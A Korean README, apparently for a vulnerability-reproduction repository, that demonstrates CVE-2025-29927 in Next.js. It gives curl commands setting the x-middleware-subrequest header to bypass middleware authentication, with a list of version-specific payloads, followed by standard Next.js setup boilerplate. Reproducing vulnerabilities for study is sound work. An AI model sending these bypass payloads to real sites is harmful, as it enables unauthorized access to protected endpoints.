
이 저장소는 next 패키지의 CVE-2025-29927 취약점을 재현한 것입니다.
/api/hello 엔드포인트에 대한 액세스가 인증으로 거부되는지 테스트합니다.$ curl http://localhost:3000/api/hello
{"error":"Unauthorized"}%
$ curl -H "Authorization: my-jwt-token-here" http://localhost:3000/api/hello
{"message":"Hello World"}%
middleware를 특수 x-middleware-subrequest 헤더에 5번 중첩해도 우회할 수 있습니다:curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/api/hello
{"message":"Hello, World"}
Next.js 12 및 13 버전에서는 미들웨어 파일의 명명 규칙이 달랐으며(_middleware.js), Next.js 14에서 middleware.js로 변경되었습니다. 이 취약점은 이전 버전에서 _middleware.js 파일을 사용하여 악용할 수 있습니다.
예를 들어, Next.js 버전과 라우팅 규칙에 따라 다음 페이로드가 적용됩니다:
curl -H "x-middleware-subrequest: middleware" http://localhost:3000/api/hello (Next.js 12.2 버전에서 middleware.js 파일이 pages 디렉터리 내부가 아닌 앱 루트에 있는 경우)curl -H "x-middleware-subrequest: src/middleware" http://localhost:3000/api/hellocurl -H "x-middleware-subrequest: _middleware" http://localhost:3000/api/hello (Next.js 11부터 12.2까지의 버전용)curl -H "x-middleware-subrequest: pages/_middleware" http://localhost:3000/api/hellocurl -H "x-middleware-subrequest: pages/admin/_middleware" http://localhost:3000/api/hello먼저 개발 서버를 실행합니다:
npm run dev
# or
yarn dev
# or
pnpm dev
# or
bun dev
브라우저에서 http://localhost:3000을 열어 결과를 확인하세요.
app/page.js를 수정하여 페이지 편집을 시작할 수 있습니다. 파일을 편집하면 페이지가 자동으로 업데이트됩니다.
이 프로젝트는 next/font를 사용하여 Vercel의 새로운 글꼴 패밀리인 Geist를 자동으로 최적화하고 로드합니다.
Next.js에 대해 자세히 알아보려면 다음 리소스를 참조하세요:
Next.js GitHub 저장소를 확인해 보세요. 피드백과 기여는 언제나 환영합니다!
Next.js 앱을 배포하는 가장 쉬운 방법은 Next.js 제작자가 만든 Vercel Platform을 사용하는 것입니다.
자세한 내용은 Next.js 배포 문서를 확인하세요.
이 프로젝트에 기여하기 위한 지침은 CONTRIBUTING을 참조하세요.